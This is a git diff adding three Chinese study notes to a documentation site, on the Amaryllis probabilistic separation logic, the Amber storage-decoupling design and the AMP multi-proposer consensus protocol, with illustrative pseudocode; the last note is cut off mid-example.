+论文全部结果已在 **Rocq**（原 Coq）中机械化，并提供 Iris 风格的 proof mode；代码见 [gitlab.mpi-sws.org/FP/amaryllis](https://gitlab.mpi-sws.org/FP/amaryllis)。
+
+## 为什么重要
+
+近几年概率分离逻辑分成两条线，长期 **各取所长、互不兼得**：
+
+| 类型 | 代表 | 强项 | 弱项 |
+|------|------|------|------|
+| **SPL**（专用概率逻辑） | Eris、ExpIris、Coneris、Clutch-DP | 建在 Iris 上，支持高阶状态、并发、ghost state | 原生断言是误差积分、期望代价等，不直接谈「分布上的独立/条件」 |
+| **GPL**（通用概率逻辑） | PSL、Lilac、Bluebell、pcOL | `*` 表示独立，模态表示条件化，推理模块化 | **不支持动态堆**；多数未在证明助手中完整形式化 |
+
+Amaryllis 第一次让 GPL 的三板斧——**独立 = 分离合取**、**条件化模态**、**Frame 规则**——与 **指针堆上的 `ℓ ↦ v`** 共存。不理解它，很难解释：
+
+- 为什么 Lilac 只能做 **不可变** 状态（frame 会「记住太多随机信息」）；
+- 为什么「全局要求堆区域不交」会在 `ref (flip())` 这类程序上 **语义上证不出** 两个独立硬币；
+- Iris 的 **frame-preserving update**、**authoritative RA**、**wp 模态** 在概率下要改成什么才 sound。
+
+## 核心概念
+
+### 1. GPL 的判断形式
+
+GPL 的 Hoare 三元组形如 `{P} e {V. Q(V)}`：
+
+- `e` 的语义：输入 **状态分布** → 输出 **(状态, 返回值)** 的联合分布；
+- `P`、`Q` 是 **分布级断言**，不是单个确定性状态；
+- `V` 是代表返回值的 **随机变量**。
+
+例：`{X ~ Ber(1/2)} e {V. V ~ Ber(1/2)}` 表示：若初始时 `X` 是公平硬币，则 `e` 的返回值也是公平硬币（可能还依赖 `X`，此处未要求独立）。
+
+### 2. 独立即分离（Independence as Separation）
+
+PSL 的关键洞见：`P * Q` 不仅说 `P` 和 `Q` 各自成立，还说它们描述的随机量 **独立**，且联合概率是边际概率的乘积。
+
+例：`X ~ Ber(1/2) * Y ~ Ber(1/2)` ⇒ 看到 `(X,Y)=(v,w)` 的概率 = P(X=v)·P(Y=w)。
+
+由此得到熟悉的 **Frame 规则**：证明 `{P} e {V. Q(V)}` 后，可在前置中「挂上」与 `e` 无关的独立资源 `R`，得到 `{P * R} e {V. Q(V) * R}`，无需重证 `e`。
+
+### 3. 条件化模态（Conditioning Modality）
+
+仅有 Frame 不够。若已知 `{⌜ℓ ↦ b⌝} f(ℓ) {⌜ℓ ↦ ¬b⌝}`（对 `b∈{0,1}` 逐分支成立），想推出 `{ℓ ↝ Ber(1/2)} f(ℓ) {ℓ ↝ Ber(1/2)}`，需要把两个分支 **按 1/2 混合**——这是 **outcome locality**。
+
+Lilac 用 **条件化模态** `C_{x←μ} P(x)` 表达：存在分布为 `μ` 的隐变量 `X`，使得对每个 `v∈supp(μ)`，在 **条件分布** `·|_{X=v}` 下 `P(v)` 成立。混合断言 `P ⊕_q Q` 可视为 `C_{b←Ber(q)} ⌜…⌝` 的特例。
+
+Amaryllis 直接沿用这一思路，并证明 **条件化与 wp/update 可交换**（在加强的 frame 意义下）。
+
+### 4. 动态分配的根本障碍
+
+旧 GPL 模型里，`μ ⊨ P * Q` 往往要求：存在 **全局固定** 的不相交位置集合 `L₁,L₂`，使得整个分布上 `P` 只碰 `L₁`、`Q` 只碰 `L₂`。
+
+考虑论文中的程序 `dfl`（概念见下文代码示例）：
+
+- 第一次 `flip` 为 0：堆上先 `ref 0`，再 `ref flip`、`ref flip`，两指针可能是 `(0x0, 0x1)`；
+- 第一次 `flip` 为 1：多一次分配，两指针可能是 `(0x1, 0x2)`。
+
+**在任意一次执行里**，两个返回指针都不同；但 **把所有随机结果摊在一起看**，`X` 可能取到的地址集合 `{0x0,0x1}` 与 `Y` 的 `{0x1,0x2}` 在 `0x1` 上 **相交**。旧模型因此 **无法** 证明后置「`X`、`Y` 各持独立公平硬币且堆块分离」——这不是证明技巧问题，是 **语义定义** 的问题。
+
+Bluebell 用 fractional permission 部分缓解，但针对 **静态** 变量 store，且 Frame 带重 side condition，模块化受损。
+
+### 5. Indexed Valuation：按结果分支的分离
+
+Amaryllis 的解法是 **indexed valuation** 风格的概率资源：
+
+- 固定 **随机选择标识** `Rid`，结果空间 `Ω = Rid → Bool`（抽象记录「至今掷了哪些硬币、结果如何」）；
+- 概率资源 = `(𝒫, R)`：`𝒫` 是 `Ω` 上的概率空间；`R : Ω → M` 是 **随机资源变量**，在每个结果 `ρ` 上给出底层资源代数 `M` 中的一个元素（例如堆 `h(ρ)`）。
+
+**分离合取** 在 `(𝒫₁,R₁)` 与 `(𝒫₂,R₂)` 上：
+
+- 概率部分用 Lilac 的 **独立积** `𝒫₁ ⊛ 𝒫₂`（编码独立性）；
+- 资源部分 **逐结果** 组合：`∀ρ. R₁(ρ) · R₂(ρ)`（例如堆的无交并 `⊎`）。
+
+于是 **不同随机分支可以有不同的堆形状**；在同一分支 `ρ` 内仍要求指针域不交。这正是 `dfl` 所需。
+
+### 6. 两种「指向」断言
+
+Amaryllis 区分：
+
+- **`L ↦ V`**（确定性 points-to）：对每个可能结果 `ρ`，`L(ρ)` 在 `R(ρ)` 拥有的堆中且值为 `V(ρ)`；**不** 断言拥有 `L` 或 `V` 的 **分布**（否则与历史随机选择相关，破坏 frame）。
+- **`L ↝ μ`**（概率 points-to）：`∃V. L ↦ V * V ~ μ`，且在每个分支上 `V` 在 `𝒫` 中可测且分布为 `μ`。
+
+分配规则 `{True} ref V {L. L ↦ V}` 对 **随机表达式变量** `V : Ω → Expr` 成立；子表达式 `ref (flip q)` 可先 bind `flip` 再 alloc。
+
+### 7. 概率 Frame-Preserving Update（PFP）
+
+标准 Iris 的 update `P ⇝ Q` 只要求 **frame 不变**。在概率 + 条件化下，有些 frame-preserving update 会 **破坏可测性**（「遗忘」事件，使条件化 `C_{x←μ}` 无意义），从而 **条件化 lift 规则失效**。
+
+Amaryllis 加强为 **PFP update**：除 frame 外，还要保持 **任意可能参与的条件化/加权混合** 仍然合法。关键结论：
+
+- 底层堆上的 mutation、动态 allocation 可提升为 PFP；
+- 从分布 **再采样** 是对概率空间分量的 PFP update。
+
+在此之上重新定义 **wp**，并证明 **wp 与 `C` 交换**，Frame 与 **c-lift**（条件化 lift）同时成立。
+
+### 8. Authoritative RA 在概率下的再解释
+
+Iris 用 `Auth(M)`：`• g`（全局权威）+ `◦ a`（局部 fragment），fragment 必须是 authority 的子资源。
+
+Amaryllis 在 `PSpAuth_M` 上复刻这一结构，但 **authority 不再表示「绝对全局分布」**，而是 **相对当前条件分布的全局视图**。原 Bluebell 的 `P * C_{v←μ} Q(v) ⊢ C_{v←μ}(P * Q(v))` 在 naive 编码下 **有反例**（authority 里 `X` 仍是公平硬币，分支里却断言 `X=x` 确定）。
+
+修复引入：
+
+- **`⊠ P` 模态**：可 frame 进条件化的 fragment 包装，**不能** 包装 authority；
+- **`c-auth` 规则**：在条件化下把 authority 更新为 `g|_{X=v}`，与分支一致。
+
+### 9. 与 Probabilistic Iris 路线图的关系
+
+Amaryllis 是 **第一步**，不是终局。论文 **刻意限制**：
+
+- 只考虑 **终止** 程序、**离散** 分布、**有限支撑**；
+- 暂无 step-indexing、高阶 ghost state、并发/invariant（标准 Iris 全家桶）；
+- 机械化约 **5 万行** Rocq。
+
+长期目标 **Probabilistic Iris**：SPL 的表达力（Eris 误差积分、ExpIris 期望代价…）与 GPL 的分布推理 **合一**。
+
+## 实践案例
+
+### 案例 1：`dfl` — 动态分配为何需要 per-outcome 分离
+
+论文 Program (3) 的 ML 风格写法：
+
+```ocaml
+(* dfl：第一次 flip 决定是否多分配一个 cell *)
+let dfl =
+  let _ =
+    if flip 0.5 then Some (ref 0) else None
+  in
+  (ref (flip 0.5), ref (flip 0.5))
+```
+
+Amaryllis 中期望证明的三元组（示意）：
+
+```text
+{ True }
+  dfl
+{ (X, Y). X ↝ Ber(1/2) * Y ↝ Ber(1/2) }
+```
+
+读法：返回的一对堆指针 `X`、`Y` 在各随机分支内 **不同单元**，且各自存储的值是 **独立** 公平硬币。
+
+用 Python **模拟** 旧模型为何失败（教学用，非论文实现）：全局要求「X 只使用地址集合 Lx、Y 只使用 Ly 且 Lx ∩ Ly = ∅」。
+
+```python
+from collections import defaultdict
+import random
+
+def run_dfl(rng):
+    """返回 (addr_x, addr_y, val_x, val_y)"""
+    addrs = []
+    if rng.random() < 0.5:
+        addrs.append(id(object()))  # ref 0 占位
+    a = id(object())
+    b = id(object())
+    return a, b, rng.random() < 0.5, rng.random() < 0.5
+
+xs, ys = set(), set()
+for _ in range(2000):
+    rng = random.Random()
+    ax, ay, _, _ = run_dfl(rng)
+    xs.add(ax)
+    ys.add(ay)
+
+# 旧「全局分区」模型：要求所有运行中 X 的地址与 Y 的地址集合不交
+print("X 可能地址数:", len(xs))
+print("Y 可能地址数:", len(ys))
+print("全局交集非空?", bool(xs & ys))  # 通常为 True → 无法分区
+```
+
+单次运行里 `ax != ay` 几乎总是成立；但 **跨所有随机结果** 聚合时，地址 ID 池重叠——这正是 indexed valuation 要分开处理的对象。
+
+### 案例 2：独立、条件化与 Frame — 伪 Coq / 逻辑片段
+
+下面用 **接近 Amaryllis proof mode 的伪代码** 展示「先条件化再 frame 独立变量」的推理链（与论文 §2.1–2.6 一致）：
+
+```coq
+(* 已有模块 f 的规格：对每个确定性 b，ℓ 存 b 则 f 把 ℓ 翻转为 ¬b *)
+Lemma f_spec_det (b : bool) :
+  { ⌜ ℓ ↦ b ⌝ } f ℓ { ⌜ ℓ ↦ negb b ⌝ }.
+
+(* 目标：ℓ 初始为公平硬币分布 *)
+Goal { ℓ ↝ Ber 0.5 } f ℓ { ℓ ↝ Ber 0.5 }.
+Proof.
+  (* Step 1: 把概率 points-to 展开 *)
+  unfold "↝". intros [V Hv]. exists V. split; [exact Hv | ].
+  (* Step 2: ℓ ↝ μ 等价于 C_{b←Ber(0.5)} ⌜ ℓ ↦ b ⌝ 的混合 *)
+  assert (Hmix : ℓ ↝ Ber 0.5 ⊣⊢ C_{b ← Ber 0.5} (⌜ ℓ ↦ b ⌝)).
+  { apply mix_points_to. }
+  rewrite Hmix.
+  (* Step 3: c-lift — 对每个分支用 f_spec_det *)
+  apply c_lift. intros b.
+  apply f_spec_det.
+Qed.
+
+(* 若另有独立硬币 Y，Frame 不必重证 f *)
+Lemma f_spec_framed :
+  { Y ~ Ber 0.5 * ℓ ↝ Ber 0.5 } f ℓ { Y ~ Ber 0.5 * ℓ ↝ Ber 0.5 }.
+Proof.
+  apply frame. apply f_spec_goal. (* 上面 Goal 的证明 *)
+Qed.
+```
+
+真实 Rocq 开发中，断言、模态与 `c_lift` / `frame` 的名称来自 Amaryllis 库；此处强调 **推理形状**：**混合分布 → 条件化 → 逐分支用确定性规格 → Frame 挂独立资源**。
+
+### 案例 3：`ref (flip q)` 的组合规则
+
+分配与采样可 **bind** 组合（论文 hoare-bind + alloc）：
+
+```text
+{ true }                    flip q           { V. V ~ Ber(q) }
+{ V ~ Ber(q) }              ref V            { L. L ↦ V * V ~ Ber(q) }
+────────────────────────────────────────────────────────────────────
+{ true }                    ref (flip q)     { L. L ↦ V * V ~ Ber(q) }
+```
+
+第二行里 `L ↦ V` **不** 拥有 `V` 的分布所有权，因此与上下文 frame 相容；第三行若初始就拥有 `V ~ Ber(q)`，Frame 可把 `V ~ Ber(q)` 带进后置。
+
+## 与相关工作的关系
+
+| 工作 | 与 Amaryllis 的关系 |
+|------|---------------------|
+| **PSL / Lilac / Bluebell / pcOL** | GPL 前辈；Amaryllis 继承独立=`*` 与 `C` 模态，替换底层分布模型 |
+| **Iris / iCAP** | 资源代数、wp、update、Auth；Amaryllis 证明 PFP 版仍 sound |
+| **Eris / ExpIris / Coneris** | Iris 上的 SPL；谈误差积分/期望代价，不替代 GPL 的分布断言 |
+| **pRHL / coupling** | 另一类概率 relational 推理；Iris 扩展曾用 coupling，Amaryllis 走 GPL 路线 |
+| **Infer / 经典分离逻辑** | 确定性堆 `ℓ↦v`；Amaryllis 的 `L↦V` 是其按结果索引的随机泛化 |
+
+## 局限与批判性阅读
+
+1. **范围**：无并发、无高阶 ghost、无 step-indexing——离「完整 Probabilistic Iris」仍有距离。
+2. **离散 + 终止**：连续分布、几乎必然终止的 unbounded loop 需另做规则（论文讨论部分规则会失效）。
+3. **工程成本**：~50K LOC 机械化，阅读门槛高；零基础应先掌握 Iris 与 Lilac 再深入。
+4. **Authority 语义变更**：`⊠` 与 `c-auth` 修复 soundness，但增加了证明义务——与 Bluebell 的 `c-frame-bb` 不可直接照搬。
+5. **非堆资源**：理论对任意 ORA 参数化，但论文示例以堆为主；其他 ghost 资源需实例化验证。
+
+## 自测题
+
+1. SPL 与 GPL 在「断言对象」上的根本区别是什么？Amaryllis 属于哪一类？
+2. 用一句话说明：为何 `{True} dfl {(X,Y). …}` 在「全局堆分区」模型下语义不成立？
+3. `L ↦ V` 与 `L ↝ μ` 在 **所有权** 上差在哪？为何 alloc 规格不能写成只含 `↝`？
+4. 标准 frame-preserving update 为何不足以支持 `C`-lift？PFP 多要求了什么？
+5. Amaryllis 尚未包含 Iris 的哪三个大型特性？（论文 Non-goals 段）
+
+## 延伸阅读
+
+- arXiv:2605.13765 — 原文 HTML/PDF
+- [Amaryllis Rocq 仓库](https://gitlab.mpi-sws.org/FP/amaryllis)
+- Lilac（条件概率 + 独立积）— GPL 的直接前驱
+- Iris 项目主页 — 分离逻辑框架与 Modal 程序逻辑
+- Eris / Coneris — 同框架下的误差界并发扩展，对比 SPL 路线
+
+## 一句话总结
+
+**Amaryllis = 把 Iris 的资源代数「按硬币结果分页」，让独立（`*`）与条件化（`C`）在每一页里仍像经典分离逻辑那样工作，从而第一次在 GPL 里合法谈论 `ref (flip())` 与动态堆上的独立硬币。**
diff --git a/src/content/docs/papers/amber-sigmod-2014.md b/src/content/docs/papers/amber-sigmod-2014.md
new file mode 100644
index 000000000..f7913daa1
--- /dev/null
+++ b/src/content/docs/papers/amber-sigmod-2014.md
@@ -0,0 +1,200 @@
+---
+title: "Amber: Decoupling Access Methods from Stable Storage"
+来源: https://www.cs.cmu.edu/~pavlo/courses/fall2017/static/papers/amber.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+# Amber: 将访问方法从持久存储中解耦
+
+## 1. 一个日常类比
+
+想象你去图书馆找一本书。传统数据库的做法是：书架（磁盘）和找书的方法（索引）是绑在一起的。如果书架排列方式变了，整个找书系统都得推翻重来。
+
+Amber 的想法很简单：把"怎么找书"（访问方法 / Access Method）和"书放哪里"（稳定存储 / Stable Storage）完全分开。索引不直接存数据，而是通过一个统一接口访问底层存储。想换 B+ 树？换 LSM-Tree？换哈希索引？只需替换一层，不用动底层。
+
+## 2. 问题背景
+
+传统数据库（如 PostgreSQL、MySQL）把索引结构和存储 tightly coupled：
+
+- B+ 树的页直接映射到磁盘块
+- 想换一种索引结构，需要修改大量存储层代码
+- 不同的索引结构对存储有不同的假设（页大小、顺序读写偏好等）
+- 新的 SSD/NVMe 硬件特性难以被现有结构利用
+
+## 3. 核心架构：三层解耦
+
+Amber 把存储引擎拆成三层：
+
+```
++-------------------+
+|   访问方法层       |  <-- B+Tree, LSM-Tree, Hash Index 等
++-------------------+
+|      SAP 层       |  <-- Storage Abstraction for Persistent storage
++-------------------+
+|   稳定存储层       |  <-- SSD, NAND Flash, 磁盘等
++-------------------+
+```
+
+### 3.1 访问方法层（Access Methods）
+
+上层模块负责数据结构逻辑：搜索、插入、删除、范围扫描。它们**不直接操作磁盘**，而是通过 SAP 层的接口读写。
+
+### 3.2 SAP 层（Storage Abstraction for Persistent storage）
+
+这是 Amber 的核心贡献。SAP 提供统一的键值读写接口：
+
+- **逻辑块（Logical Blocks）**：索引不关心物理块在哪，只通过逻辑块 ID 访问
+- **块映射（Block Mapping）**：SAP 负责把逻辑块映射到物理设备上
+- **垃圾回收（Garbage Collection）**：独立管理空间回收
+- **刷盘策略（Flush Policy）**：控制何时把数据写到底层 NVMM/SSD
+
+### 3.3 稳定存储层（Stable Storage）
+
+最底层，就是 SSD 或内存等物理设备。Amber 针对 NVMM（Non-Volatile Main Memory）和 SSD 做了优化，特别是利用 NVM 的写放大特性。
+
+## 4. 关键设计决策
+
+### 4.1 逻辑块抽象
+
+传统 B+ 树直接读写磁盘页。Amber 的 B+ 树读写的是**逻辑块**。SAP 维护一个块映射表（类似操作系统的虚拟内存页表），把逻辑块号映射到物理设备偏移。
+
+这意味着你可以对同一套索引结构，底层换成不同的存储介质而无需修改索引代码。
+
+### 4.2 写合并与刷盘策略
+
+NVM/SSD 写操作昂贵（尤其是 NVM 的耐久性）。SAP 在写入时做合并：
+
+- 多个小写操作可以合并为一个大的顺序写
+- 刷盘不是立即落盘，而是按策略批量刷
+- 垃圾回收在空闲时进行，避免写放大
+
+### 4.3 独立垃圾回收
+
+传统数据库中，垃圾回收往往和索引结构紧密耦合。Amber 中 GC 是 SAP 层独立管理的：
+
+- 标记哪些逻辑块已过期（如被更新或删除的条目）
+- 将活跃数据拷贝到新块
+- 回收旧块供后续写入使用
+- 对上层索引完全透明
+
+## 5. 代码示例
+
+### 示例 1：SAP 的统一键值接口
+
+这是索引层通过 SAP 读写数据的典型方式：
+
+```c
+// 通过 SAP 接口写入一个键值对
+// 索引层不需要知道数据写到了哪里
+sap_status_t sap_put(sap_handle_t* sap,
+                     const key_t* key,
+                     const value_t* val,
+                     uint32_t val_len) {
+    // 1. 将键值写入 SAP（逻辑块抽象）
+    sap_status_t st = sap_insert(sap, key, val, val_len);
+
+    // 2. SAP 负责：
+    //    - 分配逻辑块
+    //    - 映射到物理设备
+    //    - 处理刷盘策略
+    // 索引层完全不用关心这些细节
+
+    return st;
+}
+
+// 通过 SAP 接口读取一个键值对
+sap_status_t sap_get(sap_handle_t* sap,
+                     const key_t* key,
+                     value_t* out_val,
+                     uint32_t* out_len) {
+    // SAP 负责将逻辑块地址转换为物理地址
+    // 如果块不在缓存中，SAP 从底层设备读取
+    return sap_lookup(sap, key, out_val, out_len);
+}
+```
+
+### 示例 2：B+ 树通过 SAP 进行节点读写
+
+传统 B+ 树的节点直接映射到磁盘页。Amber 中的 B+ 树通过 SAP 访问节点：
+
+```c
+// 传统方式（紧耦合）：
+// void btree_page_read(BPage* page, disk_block_id_t block_id) {
+//     read_sectors(page, block_id * SECTOR_SIZE, SECTOR_SIZE);
+//     // 直接操作磁盘 —— 换索引就要换这段代码
+// }
+
+// Amber 方式（解耦）：
+void btree_node_read(BNode* node, block_id_t node_id, sap_handle_t* sap) {
+    // 通过 SAP 读取节点，SAP 负责逻辑块到物理块的映射
+    sap_read(sap, node_id, node->data, NODE_SIZE);
+    // 节点逻辑不关心这块数据实际在 SSD 的哪个物理位置
+}
+
+void btree_node_write(BNode* node, block_id_t node_id, sap_handle_t* sap) {
+    // 通过 SAP 写入节点
+    sap_write(sap, node_id, node->data, NODE_SIZE);
+    // SAP 可能会合并这个写操作，优化到底层设备
+    // 可能是顺序写、可能是批量刷盘 —— 索引层不知道也不关心
+}
+```
+
+### 示例 3：垃圾回收在 SAP 层独立完成
+
+```c
+// SAP 独立管理的垃圾回收循环
+void sap_gc_loop(sap_handle_t* sap) {
+    while (1) {
+        // 1. 找出过期的逻辑块（被更新或删除的数据）
+        list_t* expired_blocks = find_expired_blocks(sap);
+
+        // 2. 将活跃数据迁移到新块
+        for each block in expired_blocks {
+            list_t* live_entries = extract_live_data(block);
+            block_id_t new_block = allocate_block(sap);
+            for each entry in live_entries {
+                sap_write_entry(sap, new_block, entry);
+            }
+            // 3. 更新块映射表：逻辑块 -> 新物理块
+            update_block_map(sap, block, new_block);
+        }
+
+        // 4. 回收旧物理块
+        release_physical_blocks(sap, expired_blocks);
+
+        // 5. 如果没有太多垃圾，睡眠等待
+        if (list_length(expired_blocks) == 0) {
+            sleep(GC_COOLDOWN);
+        }
+    }
+}
+```
+
+## 6. 实验结论（论文发现）
+
+- **性能**：Amber 在 NVMM/SSD 上相比传统紧耦合方案有显著性能提升，特别是写密集型场景
+- **灵活性**：更换访问方法（B+ Tree → LSM-Tree）无需修改存储层代码
+- **硬件友好**：SAP 层的写合并和垃圾回收策略更好地利用了 NVM 特性，减少写放大
+- **通用性**：同一套 SAP 接口支持多种访问方法，证明了**解耦优于紧耦合**
+
+## 7. 个人思考
+
+Amber 的核心洞察是"逻辑与物理的分离"——这和我们理解计算机分层的思想一致：
+
+| 领域 | 逻辑层 | 物理层 |
+|------|--------|--------|
+| 操作系统 | 虚拟内存 | 物理内存/磁盘 |
+| 文件系统 | 文件/目录 | 磁盘块 |
+| 数据库（传统） | 索引 | 磁盘页（紧耦合） |
+| 数据库（Amber） | 索引 | 稳定存储（解耦） |
+
+Amber 本质上是把操作系统的"虚拟内存"思想引入了数据库索引层。这一思想后来影响了更多存储引擎设计，如 LevelDB/RocksDB 的分层架构。
+
+## 8. 下一步学习方向
+
+1. 对比学习 SAP 层的后续工作（如 Saphira、HySTOR 等）
+2. 研究 RocksDB 的 LSM-Tree 实现，看它如何体现类似的解耦思想
+3. 了解 NVM（非易失性内存）硬件特性如何影响数据库存储设计
diff --git a/src/content/docs/papers/amp-arc-multi-proposer-protocol-with-bounded-inclusion-arxiv-2605-23677.md b/src/content/docs/papers/amp-arc-multi-proposer-protocol-with-bounded-inclusion-arxiv-2605-23677.md
new file mode 100644
index 000000000..c1f63bb75
--- /dev/null
+++ b/src/content/docs/papers/amp-arc-multi-proposer-protocol-with-bounded-inclusion-arxiv-2605-23677.md
@@ -0,0 +1,316 @@
+---
+title: AMP Arc Multi-Proposer Protocol with Bounded Inclusion
+来源: https://arxiv.org/abs/2605.23677
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# AMP：多提案者共识协议——零基础学习笔记
+
+## 一、一个日常类比：餐厅点菜系统
+
+想象一家餐厅，传统模式是这样运作的：
+
+- 只有一位服务员（称为"区块组装者"）负责接收所有顾客的点单
+- 这位服务员决定哪些订单能进菜单、按什么顺序做菜
+- 问题来了：如果服务员故意不上一位顾客的菜（审查），或者为了赚小费把喜欢插队的 VIP 客人排在前面（MEV 操纵），你毫无办法
+
+AMP 协议的做法完全不同：
+
+- 餐厅请来多位服务员（称为"提案者"），每位都接收顾客点单
+- 顾客把订单交给任意一位服务员，服务员打包成"托盘"（payload）
+- 所有托盘送到厨房（验证者），厨师们互相确认收到哪些托盘
+- 只要大多数厨师都确认某个托盘，它就**一定**会被做出来
+- 最终上菜的顺序由一个固定的规则决定（按小费高低），而不是某个厨师说了算
+
+这样，没有任何一个服务员可以单独决定"谁的菜不上"或"谁先吃"。
+
+## 二、要解决的问题
+
+区块链金融系统面临一个结构性矛盾：
+
+**每个区块只有一个验证者负责组装交易。** 这个"区块组装者"拥有两项权力：
+
+1. **排除权**：决定哪些交易进入区块，哪些被忽略
+2. **排序权**：决定交易在区块中的执行顺序
+
+这两项权力导致两个实际问题：
+
+- **审查**：组装者可以故意延迟或忽略某些交易
+- **MEV（最大可提取价值）**：组装者可以通过重新排序交易来牟利，比如"抢先交易"（front-running）和"三明治攻击"——这在传统金融市场是违法的
+
+此外，单组装者模型还有性能瓶颈：吞吐量受限于一个节点的带宽，其余验证者的能力闲置。
+
+## 三、核心概念
+
+### 3.1 两层角色分离
+
+AMP 的核心思想是把传统区块链中"区块组装者"的职责拆成两层：
+
+| 角色 | 职责 | 类比 |
+|------|------|------|
+| **提案者（Proposer）** | 收集用户交易，打包成 payload，广播给所有验证者 | 餐厅里接收点单的多个服务员 |
+| **验证者（Validator）** | 运行 Tendermint 共识，确认哪些 payload 应该入块 | 厨房里互相确认订单的厨师 |
+
+关键区别：
+
+- 提案者负责**传播**（带宽密集型）
+- 验证者负责**达成共识**（延迟敏感型）
+- 两者解耦后，网络可以同时利用多节点的处理能力，提高吞吐量
+
+### 3.2 没有 Mempool
+
+传统区块链有一个叫"内存池"（mempool）的地方，所有未确认的交易先堆积在那里，然后组装者从中挑选。
+
+AMP 去掉了 mempool。用户交易直接进入提案者，提案者打包成 payload 后广播给验证者。交易只传播一次，不再重复。
+
+### 3.3 有界包含保证（Bounded Inclusion Guarantee）
+
+这是 AMP 最核心的安全保证：
+
+> 如果一个 payload 被**所有诚实验证者**都确认过（即超过 2f+1 个验证者），那么它**必定**会在下一个区块中被包含。任何不包含这个 payload 的区块都会被诚实验证者拒绝。
+
+这里的数学关系：
+
+- 总共有 n 个验证者，最多 f 个可能出错
+- 需要 n > 3f（少于三分之一出错才能安全）
+- 一个"法定人数"是 2f+1 个验证者
+- 如果一个 payload 获得超过 2f 次确认，那么即使 f 个坏验证者故意忽略它，也至少有 f+1 个诚实验证者确认了这个 payload —— 组装者无法绕过
+
+### 3.4 确定性排序
+
+即使多个提案者的 payload 进入同一个区块，AMP 用一个**确定性排序函数**来决定交易的执行顺序。这个函数按手续费优先级对交易排序，任何人用同样的输入都会得到同样的结果。
+
+这意味着：
+
+- 组装者不能随意改变交易顺序
+- 用户知道他们的交易会按什么规则被处理
+- MEV 空间被大幅压缩
+
+### 3.5 投票扩展（Vote Extensions）
+
+AMP 利用 Tendermint 共识的一个特性——"投票扩展"。在共识的 precommit 阶段，每个验证者可以在投票中附加一段应用层数据。
+
+AMP 的做法：验证者在投票扩展中附带自己收到的 payload 的 ID 列表。这些 ID 被签名保护，无法篡改。区块组装者从这些投票扩展中提取出被超过 f 个验证者确认的 payload ID，放入新区块。
+
+## 四、协议工作流程
+
+整个流程分 8 步：
+
+1. **收集**：提案者收集用户交易，打包成 payload
+2. **传播**：提案者通过"尽力广播"（Best-Effort Broadcast）把 payload 发送给所有验证者
+3. **验证**：验证者收到 payload 后检查是否合法，合法的存下来
+4. **投票扩展**：共识阶段，验证者在 precommit 投票中附上自己待确认的 payload ID
+5. **提议**：区块组装者提出当前高度（height）的 commit 证书（携带上一高度的投票扩展）
+6. **验证提议**：其他验证者检查提议是否包含了所有被超过 f 个验证者确认的 payload
+7. **达成共识**：达到法定人数后，确认一组 payload ID
+8. **最终确定**：验证者根据确定性排序规则，将 payload 排序后最终确定
+
+## 五、代码示例
+
+### 示例 1：验证者收到 payload 后的处理逻辑
+
+这段伪代码展示了一个验证者收到 payload 后的核心处理流程：
+
+```python
+# 验证者维护的状态
+ordered = {}       # 已确定的 payload: {height: [payload_ids]}
+payloads = {}      # 存储的 payload: {payload_id: payload_data}
+pending = set()    # 待确认的 payload ID 集合
+next_height = 1    # 下一个要最终确定的高度
+
+# 步骤1: 收到提案者广播的 payload
+def on_receive_payload(payload, proposer):
+    pid = hash(payload)  # payload 的唯一标识
+    
+    # 检查是否已处理过、是否已存储、是否合法
+    if pid not in ordered.values() and pid not in payloads and validate(payload):
+        pending.add(pid)
+        payloads[pid] = payload
+        
+        # 如果这个 payload 已经被共识确定，但还没最终交付，
+        # 它会留在 pending 中等待排序后交付
+
+# 步骤2: 共识阶段 - 生成投票扩展
+def extend_vote(precommit_message):
+    """在 Tendermint precommit 阶段调用"""
+    # 返回所有待确认的 payload ID
+    # 注意：已经在本轮被接受的 payload 不会再次被 attest
+    return pending - get_ids_already_in(precommit_message.value)
+
+# 步骤3: 验证其他验证者的投票扩展
+def verify_vote_extension(precommit, extension):
+    """验证投票扩展是否合法"""
+    for payload_id in extension:
+        if not is_valid_payload_id(payload_id):
+            return False
+    return True
+
+# 步骤4: 达成共识后 - 提取被超过 f 个验证者确认的 payload
+def on_decided(height, value, commit_certificate):
+    """height 达成共识后调用"""
+    
+    # 从 commit certificate 的投票扩展中提取
+    # 被超过 f 个验证者确认的 payload ID
+    confirmed_ids = extract_sound_ids(commit_certificate)
+    
+    # 记录到 ordered 映射中
+    ordered[height] = confirmed_ids
+    
+    # 从 pending 中移除已确定的
+    pending -= set(confirmed_ids)
+    
+    # 存储 commit certificate，用于下一轮的提议
+    store_commit_for_next_round(commit_certificate)
+
+# 步骤5: 最终确定 - 按确定性规则排序并交付给应用层
+def finalize_payloads():
+    """当所有确定的 payload 都可用时调用"""
+    while True:
+        target_height = next_height
+        
+        # 检查这个高度是否有确定的 payload
+        if target_height not in ordered:
+            break
+            
+        ids = ordered[target_height]
+        
+        # 检查所有 payload 是否都已收到
+        if any(payloads.get(pid) is None for pid in ids):
+            break  # 缺少 payload，等待传播
+            
+        # 提取所有 payload 并按确定性规则排序
+        payload_list = [payloads[pid] for pid in ids]
+        sorted_payloads = sort_by_priority_fee(payload_list)
+        
+        # 交付给应用层（区块链状态机）
+        trigger_finalized(target_height, sorted_payloads)
+        
+        next_height += 1
+```
+
+### 示例 2：从 commit certificate 中提取有效 payload ID
+
+这段代码展示了如何从共识的 commit certificate 中找出被超过 f 个验证者确认的 payload ID：
+
+```python
+def extract_sound_ids(commit_certificate):
+    """
+    从 commit certificate 中提取被超过 f 个验证者确认的 payload ID。
+    
+    commit_certificate 是一个列表，包含：
+    [(validator_A, extension_A), (validator_B, extension_B), ...]
+    
+    每个 extension 是该验证者在 precommit 投票中附带的 payload ID 列表。
+    
+    返回：被超过 f 个验证者提及的 payload ID 集合。
+    """
+    count = {}  # payload_id -> 确认它的验证者数量
+    
+    for validator, extension in commit_certificate:
+        for payload_id in extension:
+            count[payload_id] = count.get(payload_id, 0) + 1
+    
+    # 只返回被超过 f 个验证者确认的 payload
+    # 因为最多 f 个验证者可能是恶意的，
+    # 超过 f 就意味着至少有一个诚实验证者确认了它
+    sound_ids = {pid for pid, cnt in count.items() if cnt > f}
+    
+    return sound_ids
+
+
+# 使用示例
+# 假设有 7 个验证者，最多允许 f=2 个恶意节点
+# commit_certificate 包含 7 个 (validator, extension) 对
+
+f = 2  # 最大容错数
+
+# 模拟 commit certificate
+commit_cert = [
